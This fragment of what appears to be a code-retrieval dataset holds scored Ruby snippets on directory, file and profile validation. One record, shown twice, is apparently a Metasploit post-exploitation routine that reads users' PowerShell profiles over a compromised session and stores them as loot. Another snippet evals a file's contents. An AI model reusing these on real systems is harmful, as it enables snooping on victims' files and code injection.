files.uniq\n end", "title": "" }, { "docid": "d2f88b58232a63118d571d3ac8ce6bc5", "score": "0.571527", "text": "def validate!\n errors = [ validate_directory, validate_language ].reject { |e| e.nil? }\n print_errors errors if errors.any?\n end", "title": "" }, { "docid": "eea6cef598452e59a64993c51938ac90", "score": "0.56503546", "text": "def get_users\n users = []\n Dir.foreach(File.join(\"/\", \"home\")) do |directory|\n users << directory unless directory == \".\" or directory == \"..\"\n end\n valid_users(users)\nend", "title": "" }, { "docid": "c4790041df7bd306c97808bc2926f474", "score": "0.5649575", "text": "def validate_directory\n \"Not a directory: '#{@directory}'.\" unless File.directory? @directory\n end", "title": "" }, { "docid": "9afb858c605cab5f1ae9bc1dbae7105c", "score": "0.5645264", "text": "def validate_directories_dont_exist *directories\n directories.flatten.each do |directory|\n validate_directory_doesnt_exist directory\n end\n end", "title": "" }, { "docid": "b6069c961367fc1f3dea8608bfe4ada9", "score": "0.56063986", "text": "def validate\n\t\t\t@folders.each do |item|\n if(item==nil) || (item==\"\") || !Dir.exists?(item)\n puts \"a valid folder path is required as argument #{item}\"\n exit\n end\n end\n\t\tend", "title": "" }, { "docid": "c78e8c14f95f4cf48a58797c30d7804d", "score": "0.55685157", "text": "def verify(original_dir)\n # verify that current dir have the same properties that we created\n { :errors => %w(xxx) }\n end", "title": "" }, { "docid": "28213f5e92398aba5cab4c1fe74b5109", "score": "0.5565019", "text": "def validate\n raise(ProfileError, 'Define a name for this profile') if [nil, ''].include?(name)\n raise(ProfileError, 'Define a settings hash for this profile') unless settings.is_a?(Hash) && settings.any?\n raise(ProfileError, 'Define an encoder class for this profile') unless base\n end", "title": "" }, { "docid": "7f7f3d56cdc87b40780b7b52dba5afdc", "score": "0.55481637", "text": "def load_profiles\n file = @profile_file\n # File must exist.\n raise \"No such file: #{file}\" unless test(?f, file)\n # File must be readable.\n raise \"Can't read #{file}\" unless test(?r, file)\n mtime = File.stat(file).mtime\n # See if an already loaded profile has been modified.\n return if @profiles and @profiles_mtime <= mtime\n # Eval to turn it into a hash.\n fh = File.open(file)\n @profiles = eval(fh.read)\n fh.close\n # Die if it's not a hash.\n raise \"Input profiles didn't return a Hash\" unless Hash === @profiles\n @profiles_mtime = mtime\n end", "title": "" }, { "docid": "312d73df595e258370834cfc40580942", "score": "0.5526176", "text": "def check_for_profile_images\n if profile_images.empty?\n errors.add(:profile_images, I18n.t('error.missing_profile_image'))\n end\n end", "title": "" }, { "docid": "4e4ae3a78e669721bae155da905f4021", "score": "0.55109143", "text": "def check\n # check setup.json is in root but do not add to manifests[]\n manifest = json_manifest(setup_filename)\n check_setup_json_meets_its_spec(manifest) unless manifest.nil?\n # json-parse all manifest.json files and add to manifests[]\n Dir.glob(\"#{@path}/**/manifest.json\").each do |filename|\n manifest = json_manifest(filename)\n @manifests[filename] = manifest unless manifest.nil?\n end\n # check manifests\n check_all_manifests_have_a_unique_display_name\n @manifests.each do |filename, manifest|\n @manifest_filename = filename\n @manifest = manifest\n check_no_unknown_keys_exist\n check_all_required_keys_exist\n check_visible_filenames_is_valid\n check_highlight_filenames_is_valid\n check_display_name_is_valid\n check_image_name_is_valid\n check_unit_test_framework_is_valid\n check_progress_regexs_is_valid\n check_filename_extension_is_valid\n check_tab_size_is_valid\n end\n errors\n end", "title": "" }, { "docid": "96f2618d38ea3570465cd93b86c30e16", "score": "0.54818165", "text": "def validate_directory(path)\n return if File.directory?(path)\n msg = format(\"'%s' is not a directory. Please fix it.\", path)\n PrcLib.fatal(1, msg)\n fail msg\n end", "title": "" }, { "docid": "25e9628ab80e883c96dd676669bb9819", "score": "0.5471643", "text": "def validate_dir!(dir:, label:)\n raise ConfigurationError.new(\"#{label} is not configured\") if dir.nil?\n raise MissingDirectory.new(\"#{label} dir #{dir} does not exist. Aborting\") unless dir.exist?\n end", "title": "" }, { "docid": "dd3bdf84c120445219eedc101770c46a", "score": "0.54615986", "text": "def validate_profile_set\n if (not exception_date?) and package\n self.package.delete_profile_set_errors\n self.package.check_day_coverage\n end\n end", "title": "" }, { "docid": "56bf33329b15e59c96a8f0030c678b49", "score": "0.5454092", "text": "def loadProfile()\n $profile_path.each { |file| \n if file and File.file?(file)\n puts \"Loading profile %s\\n\" % [File.realpath(file)]\n return JSON.parse( IO.read( file ), opts = { symbolize_names: true } )\n else\n puts \"Missing profile. Create a link to your profile named current.profile.\"\n exit\n end\n }\nend", "title": "" }, { "docid": "3fa66b53652b677cf8cf5985bd3b5ba8", "score": "0.54402024", "text": "def valid_opts\n return false unless File.exist?(@css_dir)\n\n found = Dir.chdir(\"#{@css_dir}\") { Dir.glob('*.css') }\n\n found.length > 0\n end", "title": "" }, { "docid": "cc4bd29fc114877cdded60a75f3ab0ad", "score": "0.5366143", "text": "def enum_profiles(users)\n tmpout = []\n print_status(\"Checking if users have Powershell profiles\")\n users.each do |u|\n print_status(\"Checking #{u['username']}\")\n begin\n session.fs.dir.foreach(u[\"userappdata\"]) do |p|\n next if p =~ /^(\\.|\\.\\.)$/\n if p =~ /Microsoft.PowerShell_profile.ps1|profile.ps1/i\n ps_profile = session.fs.file.new(\"#{u[\"userappdata\"]}#{p}\", \"rb\")\n until ps_profile.eof?\n tmpout << ps_profile.read\n end\n ps_profile.close\n if tmpout.length == 1\n print_status(\"Profile #{p} for #{u[\"username\"]} not empty, it contains:\")\n tmpout.each do |l|\n print_line(\"\\t#{l.strip}\")\n end\n store_loot(\"powershell.profile\",\n \"text/plain\",\n session,\n tmpout,\n \"#{u[\"username\"]}_#{p}.txt\",\n \"PowerShell Profile for #{u[\"username\"]}\")\n end\n end\n end\n rescue\n end\n end\n end", "title": "" }, { "docid": "cc4bd29fc114877cdded60a75f3ab0ad", "score": "0.5366143", "text": "def enum_profiles(users)\n tmpout = []\n print_status(\"Checking if users have Powershell profiles\")\n users.each do |u|\n print_status(\"Checking #{u['username']}\")\n begin\n session.fs.dir.foreach(u[\"userappdata\"]) do |p|\n next if p =~ /^(\\.|\\.\\.)$/\n if p =~ /Microsoft.PowerShell_profile.ps1|profile.ps1/i\n ps_profile = session.fs.file.new(\"#{u[\"userappdata\"]}#{p}\", \"rb\")\n until ps_profile.eof?\n tmpout << ps_profile.read\n end\n ps_profile.close\n if tmpout.length == 1\n print_status(\"Profile #{p} for #{u[\"username\"]} not empty, it contains:\")\n tmpout.each do |l|\n print_line(\"\\t#{l.strip}\")\n end\n store_loot(\"powershell.profile\",\n \"text/plain\",\n session,\n tmpout,\n \"#{u[\"username\"]}_#{p}.txt\",\n \"PowerShell Profile for #{u[\"username\"]}\")\n end\n end\n end\n rescue\n end\n end\n end", "title": "" }, { "docid": "965ad4f1e4c9246676905f9094c1279f", "score": "0.5363837", "text": "def validate(folder)\n project = VxProject.new folder\n # Make sure it's not an encrypted project\n if project.encrypted?\n alert STRINGS[:launcher_encrypted]\n return\n end\n\n # Make sure it's a valid vx ace folder\n unless project.valid_vx_ace?\n alert STRINGS[:launcher_invalid_folder]\n return\n end\n # Setup project for use\n setup project\nend", "title": "" }, { "docid": "8255218897d893bbe85e3275cc7eb216", "score": "0.5361554", "text": "def validate_path\r\n if File.directory?(@path.to_s)\r\n puts \"\\nLooking for schema.rb in #{@path}\"\r\n else\r\n puts \"\\nSorry #{@path} is not a valid directory!\\nHere is an example:\\nscaffold -p /home/foo/bar\"\r\n exit\r\n end\r\n end", "title": "" }, { "docid": "acef2d605e5f5f822fe3763bc878db08", "score": "0.5345604", "text": "def valid_dir\n\tARGV.size <= 2 && Dir.exist?(ARGV[0]) && Dir.each_child(ARGV[0]).any?{ |file| File.extname(file) == \".vm\" }\nend", "title": "" }, { "docid": "9ae32aca6df256bda12d380d36405f80", "score": "0.53079325", "text": "def ensure_files_exist\n puts 'Blinky: Validating files'\n context.tickets = ensure_valid_json(Blinky::TICKETS)\n context.users = ensure_valid_json(Blinky::USERS)\n context.organizations = ensure_valid_json(Blinky::ORGANIZATIONS)\n # TODO: Validate each file ensuring correct fields are present\n end", "title": "" }, { "docid": "451827e19dbdcc53af8bf36131627091", "score": "0.52909684", "text": "def profiles\n Pathname.glob(local_path.to_s + '/profiles/*/*.profile').map { |p| p.basename('.profile').to_s }\n end", "title": "" }, { "docid": "b7686bfbf77a049012a1cd1b852e9a77", "score": "0.5256703", "text": "def check_directory\r\n unless File.directory?(@search_path)\r\n puts \"\\nSorry #{@search_path} is not a valid directory!\\nHere is an example:\\nscaffold -p /home/foo/bar\"\r\n exit\r\n end\r\n puts \"\\nLooking for schema.rb in #{@search_path}\"\r\n end", "title": "" }, { "docid": "4d2177985970b36a87dc9806d9277de3", "score": "0.52477354", "text": "def valid?\n @directory.exist? and\n (@directory.entries.reject{\n |d| d.to_s =~ /^\\.+/ or not @directory.join(d).directory?\n }.map{ |d| d.to_s } & BaseDirs).\n size == BaseDirs.size\n end", "title": "" }, { "docid": "6da6ae623be528b27fa8d3a6153e240c", "score": "0.5236989", "text": "def validate_directory( path )\n raise Error, \"No directory specified\" unless path\n raise Error, \"#{path} does not exist\" unless path.exist?\n raise Error, \"#{path} is not a directory\" unless path.directory?\n end", "title": "" }, { "docid": "932ad8dcb426f727689910bd8f2a1423", "score": "0.5227629", "text": "def validate!\n valid_cop_names, invalid_cop_names = @hash.keys.partition do |key|\n RUBOCOP_HOME_CONFIG.has_key?(key)\n end\n\n invalid_cop_names.each do |name|\n fail ValidationError,\n \"unrecognized cop #{name} found in #{loaded_path || self}\"\n end\n\n valid_cop_names.each do |name|\n @hash[name].each_key do |param|\n unless RUBOCOP_HOME_CONFIG[name].has_key?(param)\n fail ValidationError,\n \"unrecognized parameter #{name}:#{param} found \" +\n \"in #{loaded_path || self}\"\n end\n end\n end\n end", "title": "" }, { "docid": "0a3458bb8f2a5ac10a8c57252a405934", "score": "0.5214526", "text": "def valid_profile_required\n return if !logged_in? # do nothing if we are not logged\n return if @current_user.name.present? and @current_user.gender.present? # do nothing if the profile is already filled in\n return if params[:controller] == SimplyAuthenticate::Settings.controller_name and (params[:action] == 'profile' or params[:action] == 'logout') # do nothing if we are in the 'profile' or 'logout' action\n flash[:alert] = 'Zanim zaczniesz korzystać z serwisu musisz uzupełnić swój profil'\n redirect_to profile_path # otherwise redirect to profile\n end", "title": "" }, { "docid": "5b8af2a2cc2b957b314e97e937d0812c", "score": "0.52136797", "text": "def loadProfile()\n $profile_path.each { |file| \n if file and File.file?(file)\n puts \"Loading profile %s\\n\" % [File.realpath(file)]\n return JSON.parse( IO.read( file ), opts = { symbolize_names: true } )\n end\n }\nend", "title": "" }, { "docid": "524e64d18a4854e66e0e238dd2742c71", "score": "0.5211062", "text": "def validate_manifest\n missing = []\n filelist.each do |f|\n missing << f unless File.exist?(f)\n end\n unless missing.empty?\n raise ValidationError, \"manifest lists non-existent files -- \" + missing.join(\" \")\n end\n end", "title": "" }, { "docid": "c29a467a2fd25a41ce24427c10b22bfe", "score": "0.5198434", "text": "def profile_check(profile)\n Log.message(\"Checking #{profile.name} profile >>\")\n\n unless displayed?(FREELANCER_NAME, nil, false) || displayed?(COMPANY_NAME, nil, false)\n if displayed?(ALERT_WARNING, nil, false)\n Log.error('This freelancer`s profile is only available to Upwork customers')\n else\n Log.error('Page missing or unexpected error')\n end\n end\n\n #### Name check\n if displayed?(FREELANCER_NAME, nil, false)\n\n if get_element_text(FREELANCER_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(FREELANCER_NAME)}\")\n end\n else\n\n if get_element_text(COMPANY_NAME).include?(profile.name)\n Log.message('Name attribute check successful')\n else\n Log.warning(\"Name attribute check failed\\nExpected: #{profile.name}\\nActual: #{get_element_text(COMPANY_NAME)}\")\n end\n end\n\n #### Title check\n if displayed?(FREELANCER_TITLE, nil, false)\n\n if get_element_text(FREELANCER_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(FREELANCER_TITLE)}\")\n end\n elsif displayed?(COMPANY_TITLE, nil, false)\n\n if get_element_text(COMPANY_TITLE).include?(profile.title)\n Log.message('Title attribute check successful')\n else\n Log.warning(\"Title attribute check failed\\nExpected: #{profile.title}\\nActual: #{get_element_text(COMPANY_TITLE)}\")\n end\n else\n\n Log.message('Profile has no title displayed')\n Log.warning('Title attribute check skipped')\n end\n\n #### Description check\n if displayed?(FREELANCER_DESCRIPTION, nil, false)\n # Short profile description without non letter characters\n expected_text = profile.description.gsub(/\\W+/, '')\n\n # Full profile description without non letter characters and cut to expected text length\n actual_text = get_element_text(FREELANCER_DESCRIPTION).gsub(/\\W+/, '')[0..(expected_text.length - 1)]\n\n if actual_text.include?(expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(FREELANCER_DESCRIPTION)}\")\n end\n elsif displayed?(COMPANY_DESCRIPTION, nil, false)\n # Short profile description without non letter characters\n expected_text = profile.description.gsub(/\\W+/, '')\n\n # Full profile description without non letter characters and cut to expected text length\n actual_text = get_element_text(COMPANY_DESCRIPTION).gsub(/\\W+/, '')[0..(expected_text.length - 1)]\n\n if actual_text.include?(expected_text)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: #{get_element_text(COMPANY_DESCRIPTION)}\")\n end\n else\n\n if 'No description'.include?(profile.description)\n Log.message('Description attribute check successful')\n else\n Log.warning(\"Description attribute check failed\\nExpected: #{profile.description}\\nActual: No description\")\n end\n end\n\n #### Skills check\n if displayed?(FREELANCER_SKILLS, nil, false)\n # Expected profile skills sorted by name ASC\n expected_skills = profile.skills.sort.to_s\n\n # Actual profile skills sorted by name ASC and trimmed\n actual_skills = get_elements_text(FREELANCER_SKILLS).each(&:strip!).sort.to_s\n\n if actual_skills.include?(expected_skills)\n Log.message('Skills attribute check successful')\n else\n Log.warning(\"Skills attribute check failed\\nExpected: #{expected_skills}\\nActual: #{actual_skills}\")\n end\n else\n\n Log.message('Company profile has no skills displayed')\n Log.warning('Skills attribute check skipped')\n end\n end", "title": "" }, { "docid": "e1b20295ce8c28b855da396f00b31bd5", "score": "0.5178807", "text": "def validate\r\n if !@file_data.blank?\r\n unless ['jpg','gif','png'].include?(extension.downcase)\r\n errors.add(:picture_path, \"Your profile picture must be in JPG, GIF, or PNG format\")\r\n end\r\n end\r\n end", "title": "" }, { "docid": "e1b20295ce8c28b855da396f00b31bd5", "score": "0.5178807", "text": "def validate\r\n if !@file_data.blank?\r\n unless ['jpg','gif','png'].include?(extension.downcase)\r\n errors.add(:picture_path, \"Your profile picture must be in JPG, GIF, or PNG format\")\r\n end\r\n end\r\n end", "title": "" }, { "docid": "3d2eb100acde90c60227b8fa013edabb", "score": "0.51770914", "text": "def check_directory_of_files\n @external_urls = {}\n results = check_files_for_internal_woes\n\n results.each do |item|\n @external_urls.merge!(item[:external_urls])\n @failed_tests.concat(item[:failed_tests])\n end\n\n validate_urls unless @options[:disable_external]\n\n logger.log :info, :blue, \"Ran on #{files.length} files!\\n\\n\"\n end", "title": "" }, { "docid": "96bd67e3939c1e3f2cbb11e898b8a3cd", "score": "0.5172298", "text": "def check_required_folder\n folder_tmp\n folder_user\n folder_user_data\n folder_user_roadmap\n end", "title": "" }, { "docid": "099bec996e5a402e1f8795c701d2543a", "score": "0.5136695", "text": "def check\n # check setup.json is in root but do not add to manifests[]\n manifest = json_manifest(setup_filename)\n if manifest.nil?\n return errors\n end\n check_setup_json_meets_its_spec(manifest)\n if manifest['type'] == 'exercises'\n check_at_least_one_instructions\n return errors\n end\n\n # json-parse all manifest.json files and add to manifests[]\n Dir.glob(\"#{@path}/**/manifest.json\").each do |filename|\n manifest = json_manifest(filename)\n @manifests[filename] = manifest unless manifest.nil?\n end\n # check manifests\n check_at_least_one_manifest\n check_all_manifests_have_a_unique_display_name\n @manifests.each do |filename, manifest|\n @manifest_filename = filename\n @manifest = manifest\n check_no_unknown_keys_exist\n check_all_required_keys_exist\n # required\n check_visible_filenames_is_valid\n check_display_name_is_valid\n check_image_name_is_valid\n check_red_amber_green_is_valid\n # optional\n check_progress_regexs_is_valid\n check_filename_extension_is_valid\n check_tab_size_is_valid\n check_highlight_filenames_is_valid\n end\n errors\n end", "title": "" }, { "docid": "3f2e901603492af1de46fbc771404629", "score": "0.5132142", "text": "def validate_complete_user_profile\n unless self.user_has_complete_profile?\n self.errors.add(:user, \"must have a complete profile\")\n end\n end", "title": "" }, { "docid": "3f2e901603492af1de46fbc771404629", "score": "0.5132142", "text": "def validate_complete_user_profile\n unless self.user_has_complete_profile?\n self.errors.add(:user, \"must have a complete profile\")\n end\n end", "title": "" }, { "docid": "ff86de941a8895378b1b7769a4fadb8c", "score": "0.5120463", "text": "def load_profile( profiles )\n exception_jail{\n @opts.load_profile = nil\n profiles.each {\n |filename|\n @opts.merge!( Arachni::Options.instance.load( filename ) )\n }\n }\n end", "title": "" }, { "docid": "5d65ff6615ab60256b069fa1c7d1f62e", "score": "0.50912017", "text": "def valid_dir\n\tARGV.size <= 2 && Dir.exist?(ARGV[0]) && Dir.each_child(ARGV[0]).any?{ |file| File.extname(file) == \".jack\" }\nend", "title": "" }, { "docid": "d365f126380e901cc9270860acc4a57a", "score": "0.50842947", "text": "def validate(machine)\n errors = { \"vagrant-rspec-ci\" => [] }\n \n [\n :dirs,\n :tests,\n ].each do |thing_sym|\n # Each of these should be an array or enumerable.\n value = self.send(thing_sym)\n unless value.respond_to?(:each) then\n errors[\"vagrant-rspec-ci\"].push(\"config.rspec.#{thing_sym} should be an array\")\n end\n end\n \n # Must find at least one of the directory defaults\n edir = self.dirs.find {|d| File.directory?(d) }\n errors[\"vagrant-rspec-ci\"].push(\"No test directory found - candidates: #{self.dirs.join(',')}\") unless edir\n end", "title": "" }, { "docid": "9fc7dd322add2ef9fea29ae14bc8255f", "score": "0.50842345", "text": "def valid?(*)\n va_profile.present?\n end", "title": "" }, { "docid": "5becaabbff6b4ab478db476df7464b7d", "score": "0.5083374", "text": "def check_profile_syntax(profile)\n raise \"Invalid input profile: Must be a Hash\" unless Hash === profile\n valid_profile_keys =\n [ :optional, :required, :required_regexp, :require_some,\n :optional_regexp, :constraints, :constraint_regexp_map,\n :dependencies, :dependency_groups, :defaults, :filters,\n :field_filters, :field_filter_regexp_map,\n :missing_optional_valid, :validator_packages,\n :untaint_constraint_fields, :untaint_all_constraints ]\n\n profile.keys.map do |key|\n unless valid_profile_keys.include?(key)\n raise \"Invalid input profile: #{key} is not a valid profile key\"\n end\n end\n end", "title": "" }, { "docid": "945a88e1ad13d60a8d83e5a71abdc065", "score": "0.5080444", "text": "def getProfiles(path)\n # Get folder names\n folders = Dir.glob(path+'/*').select {|f| File.directory? f}\n profiles = []\n # Get id from name\n for folder in folders\n # Get ids from paths\n id = /[0-9a-f]{5,30}$/.match(folder)\n profiles.push(id[0])\n end\n return profiles\nend", "title": "" }, { "docid": "8b5c4c128b0d08063e2310743fbab04e", "score": "0.50778943", "text": "def check_files\n @config[\"promised_files\"] ||= {} \n # do not yet have any defaults\n # but if there were some, here you would ensure they were included\n # unless explicitly removed\n \n end", "title": "" }, { "docid": "324d75eb8307adf18c15a3ab9bb5387c", "score": "0.50770366", "text": "def validate!\n if configuration and !File.file?(configuration)\n abort \"The configuration file #{configuration} does not exist\"\n end\n\n if files.empty?\n abort 'No files to check were specified'\n end\n end", "title": "" }, { "docid": "b0990d6c045c235c41eb173de5959906", "score": "0.50573134", "text": "def validate(files)\n rejected_files = files.find_all { |filename| !File.exists? filename }\n if rejected_files.count > 0\n rejected_files.each { |filename| puts \"cannot find file: #{filename}\" }\n raise \"stash not performed\"\n end\n\n self\n end", "title": "" }, { "docid": "cd62ec5229be1d6ff114cc30803ed081", "score": "0.5040745", "text": "def check_directories\n\t\tmissing_dirs = {}\n\n\t\t['pdf','html', 'md', 'html/images'].each do |f|\n\t\t\tcur_dir = \"./\" + f\n\t\t\tcurr_dir_exists = FileTest::directory?(cur_dir) \n\t\t\tmissing_dirs[f] = curr_dir_exists\n\t\t\t@first_setup ||= curr_dir_exists\n\t\tend\n\n\t\t# Make the name meaningful\n\t\t@first_setup = !@first_setup\n\n\t\tif @first_setup\n\t\t\tputs \"Detecting first time setup...\"\n\t\tend\n\n\t\t# Create the mssign directories\n\t\tcreate_directories missing_dirs\n\tend", "title": "" }, { "docid": "0dca67ee2017b8808ec6b329961c66d8", "score": "0.5025251", "text": "def valid?\n 0 < name.length &&\n 0 < dir_name.length &&\n !Dir.exists?(root)\n end", "title": "" }, { "docid": "2f0df39e433ecb09feaf46d7d26dd53b", "score": "0.50125986", "text": "def valid_deployment_profile?(profile_id)\n if DeploymentProfile.exists?(:profile_id => profile_id)\n true\n else\n raise(\"Deployment profile #{profile_id} could not be found\")\n end\n end", "title": "" }, { "docid": "b9a3fffe9dc7b1d7709697feb154f437", "score": "0.50096714", "text": "def load_profiles(\n profile\n)\n\n profile_file = INSTANCE_PROFILES_DIR + '/' + file_basename(profile) + '.yaml'\n\n return nil unless File.file?(profile_file)\n\n yaml_content = YAML::load(File.read(profile_file))\n\n if yaml_content.nil? or yaml_content.empty?\n return nil\n else\n yaml_content\n end\n\nend", "title": "" }, { "docid": "1e6945ff156d5a2bb41bd6248f731770", "score": "0.5002355", "text": "def run_validate(target_dir)\n commands[:validate_command].run({ :target_dir => target_dir })\n end", "title": "" }, { "docid": "437928cc1de7004794418e6901c73378", "score": "0.5000992", "text": "def before_validation\n unless dir.blank?\n self.dir= `cygpath -au #{dir.inspect}`.chomp if RUBY_PLATFORM =~ /cygwin/i\n self.dir= File.expand_path(dir)\n end\n end", "title": "" }, { "docid": "c638a5476fccac1184374f60cff34296", "score": "0.4999307", "text": "def validate!\n logger.debug \"Starting validation for #{description}\"\n raise NotFound.new path unless File.exists? path\n raise NonDirectory.new path unless File.directory? path\n raise MissingBinary.new vagrant unless File.exists? vagrant\n raise MissingBinary.new vagrant unless File.executable? vagrant\n logger.info \"Successfully validated #{description}\"\n self\n end", "title": "" }, { "docid": "7b28d483211316fe0227da57d50c72ab", "score": "0.4966571", "text": "def validate_candidate_data(profile_info, search_info)\n validation_result = [\n validate_string(profile_info, search_info,:name),\n validate_string(profile_info, search_info,:title),\n validate_string(profile_info, search_info,:hourly_rate),\n validate_string(profile_info, search_info,:earnings),\n validate_string(profile_info, search_info,:has_badge),\n validate_string(profile_info, search_info,:success_rate),\n validate_string(profile_info, search_info,:location),\n validate_description(profile_info, search_info, :description),\n validate_empty(profile_info, search_info,:skill_list)\n ].all?\n raise('Validation failed.') unless validation_result\n puts 'Random profile validation passed.' if validation_result\n end_section\n end", "title": "" }, { "docid": "9f9d2486371dcba6f57e008ec8b3ea3b", "score": "0.49650103", "text": "def check_all_images_are_srgb(dst_dir)\n errors = Hash.new { [] }\n\n info('Checking image colour profiles...')\n\n safe_colour_profiles = Set['sRGB']\n\n exiftool_output = `exiftool -quiet -quiet -printFormat '$directory/$filename : $profileDescription' #{dst_dir}/images/**`\n\n exiftool_output\n .split(\"\\n\")\n .sort\n .map do |line|\n path, profile = line.split(':')\n path = path.strip!\n profile = profile.strip!\n\n unless safe_colour_profiles.include? profile\n errors[path] <<= \"Image has an unrecognised colour profile: #{profile}\"\n end\n end\n\n report_errors(errors)\n end", "title": "" }, { "docid": "d32e095fd1c62c446998ed3d950700b6", "score": "0.49618933", "text": "def process(schema)\n \tdir = File.join(schema['config']['path'])\n \tpassfail = Array.new\n \tDir.open(dir).each do |f|\n \t\tfile = File.open(File.join(dir, f))\n \t\tunless schema['config']['ignore'].include?(f)\n \t\t\tdata = YAML.load_file(file)\n \t\t\tpassfail.push check_keys(data, schema.keys, f)\n \t\t\tpassfail.push check_types(data, schema)\n \t\tend\n \tend\n passfail.keep_if { |p| p == false }\n \tif passfail.empty?\n \t\treturn true\n \telse\n puts \"There were #{passfail.count} errors\".red\n \t\treturn false\n \tend\n end", "title": "" }, { "docid": "a660e213c1698a87ac7793cb2840c3ac", "score": "0.4950797", "text": "def load(dir: nil, profile: [])\n profile += (ENV[ENV_PROFILE_KEY] || 'default').split(',')\n read(profile, *load_configuration_streams(dir))\n end", "title": "" }, { "docid": "1fa875544b8abec19c22932e4a4d5ed1", "score": "0.49504822", "text": "def check_and_create_directory\n Dir.mkdir(\"#{@output_dir}\") unless File.directory?(\"#{@output_dir}\")\n Dir.mkdir(\"#{@output_dir}/#{@profile['name'].downcase}\") unless File.directory?(\"#{@output_dir}/#{@profile['name'].downcase}\")\n Dir.mkdir(\"#{@output_dir}/#{@profile['name'].downcase}/modules\") unless File.directory?(\"#{@output_dir}/#{@profile['name'].downcase}/modules\")\n end", "title": "" }, { "docid": "6632c045d1d692331c23c8856ece718d", "score": "0.49320173", "text": "def validate_directory dir_path\n unless( File.exist? dir_path )\n system_with_command_print(\"mkdir #{dir_path}\")\n end\nend", "title": "" }, { "docid": "a34b4050918e084b4207ffbb3d21f213", "score": "0.4925485", "text": "def check_already_associated profile_dn_name\n response_xml = call_for_current_state profile_dn_name;\n parse_associated_service_profile response_xml;\n end", "title": "" }, { "docid": "d6444aada30c98b87ad8cd13d574d5a2", "score": "0.49244493", "text": "def find_rules(directory)\n if File.directory?(directory)\n Dir.entries(directory).grep(/_rule.rb$/)\n else\n @logger.debug(\"Could not find directory %s while looking for rules\" % directory)\n []\n end\n end", "title": "" }, { "docid": "be38ca9585cbb850cc24f749ef7f8a7c", "score": "0.49164918", "text": "def fetch_profiles\n UI.message(\"Fetching profiles...\")\n results = profile_type.find_by_bundle_id(bundle_id: Sigh.config[:app_identifier],\n mac: Sigh.config[:platform].to_s == 'macos',\n sub_platform: Sigh.config[:platform].to_s == 'tvos' ? 'tvOS' : nil)\n results = results.find_all do |current_profile|\n if current_profile.valid? || Sigh.config[:force]\n true\n else\n UI.message(\"Provisioning Profile '#{current_profile.name}' is not valid, skipping this one...\")\n false\n end\n end\n\n # Take the provisioning profile name into account\n results = filter_profiles_by_name(results) if Sigh.config[:provisioning_name].to_s.length > 0\n return results if Sigh.config[:skip_certificate_verification]\n\n UI.message(\"Verifying certificates...\")\n return results.find_all do |current_profile|\n installed = false\n\n # Attempts to download all certificates from this profile\n # for checking if they are installed.\n # `cert.download_raw` can fail if the user is a\n # \"member\" and not an a \"admin\"\n raw_certs = current_profile.certificates.map do |cert|\n begin\n raw_cert = cert.download_raw\n rescue => error\n UI.important(\"Cannot download cert #{cert.id} - #{error.message}\")\n raw_cert = nil\n end\n { downloaded: raw_cert, cert: cert }\n end\n\n # Makes sure we have the certificate installed on the local machine\n raw_certs.each do |current_cert|\n # Skip certificates that failed to download\n next unless current_cert[:downloaded]\n file = Tempfile.new('cert')\n file.write(current_cert[:downloaded])\n file.close\n if FastlaneCore::CertChecker.installed?(file.path)\n installed = true\n else\n UI.message(\"Certificate for Provisioning Profile '#{current_profile.name}' not available locally: #{current_cert[:cert].id}, skipping this one...\")\n end\n end\n installed && current_profile.certificate_valid?\n end\n end", "title": "" }, { "docid": "9c8471d923bd00362bffb36e6fcdbf70", "score": "0.49155104", "text": "def validation_errors\n errors = []\n\n unless Dir.exists?(test_dir)\n errors << \"Couldn't find test directory `#{test_dir}`. Exiting.\"\n end\n\n unless file_sets.is_a?(Hash) && !file_sets[\"all\"].nil?\n errors << \"No `all` file set is defined in your configuration. Exiting.\"\n end\n\n errors\n end", "title": "" }, { "docid": "aef54832cb5b17f158310464d1a804a0", "score": "0.4914633", "text": "def check_dir(val, _dir, _fieldname)\n if File.exist?(val)\n unless File.directory?(val)\n raise ParserError.new(\"'#{val}' is not a regular directory\")\n end\n else\n raise ParserError.new(\"The directory '#{val}' does not exists\")\n end\n end", "title": "" }, { "docid": "4ac2d77c4855efb0886c9b82026c2894", "score": "0.4914081", "text": "def check_dir(filename)\n filename = File.expand_path(filename)\n dirname = File.dirname(filename)\n exit_with_error(\"Invalid directory: #{dirname}\") unless File.directory?(dirname)\n filename\n end", "title": "" }, { "docid": "f1ebc46d4d6ae220e498a83bb3fba193", "score": "0.49053007", "text": "def validate\n if resource[:policy] != :none and resource[:factor] <= 1\n fail \"A replication factor must be greater then 1\"\n end\n unless File.exists? resource[:directory]\n fail \"A directory for policy must exists, but it doesn't - #{resource[:directory]}\"\n end\n unless File.directory? resource[:directory]\n type = File.stat(resource[:directory]).ftype\n fail \"A directory for policy must be a directory, but #{type} given - #{resource[:directory]}\"\n end\n return nil\n end", "title": "" }, { "docid": "7eee0695c33a3effed10b941a8eb0fb8", "score": "0.4893705", "text": "def valid_directories(drawable_dir, prefix=\"drawable\")\n valid_dirs = []\n Dir.glob(File.join drawable_dir, \"#{prefix}*\") do |dir|\n res = parse_resolution(dir, prefix)\n size = res_map[res]\n valid_dirs << dir unless size.nil?\n end\n valid_dirs\n end", "title": "" }, { "docid": "8fc8553a79d51076838d40b650e04dfd", "score": "0.48833176", "text": "def scan_dirs\n @scan_files = Array.new\n @valid_entries.each do |dir|\n Dir.entries(@scan_dir + dir).each do |scan|\n if scan =~ /xml$/\n @scan_files << @scan_dir + dir + '/' + scan\n end\n end\n end\n end", "title": "" }, { "docid": "e9a96ef1c7073876f164e00cf717fba6", "score": "0.4876909", "text": "def check_accesses\n errors[:base] << I18n.t('messages.at_least_one_access') if access_profiles.find_all {|t| t.deleted == 0}.size == 0\n end", "title": "" }, { "docid": "23199af5a33a7b63e30bd3f1e457ac13", "score": "0.4874522", "text": "def check_already_dissociated profile_dn_name\n response_xml = call_for_current_state profile_dn_name; \n parse_associated_service_profile response_xml;\n end", "title": "" }, { "docid": "0ac43aaf350c85a24838e99d45fc62d7", "score": "0.48667526", "text": "def create_profile_directory\n `cd #{self.project_root} 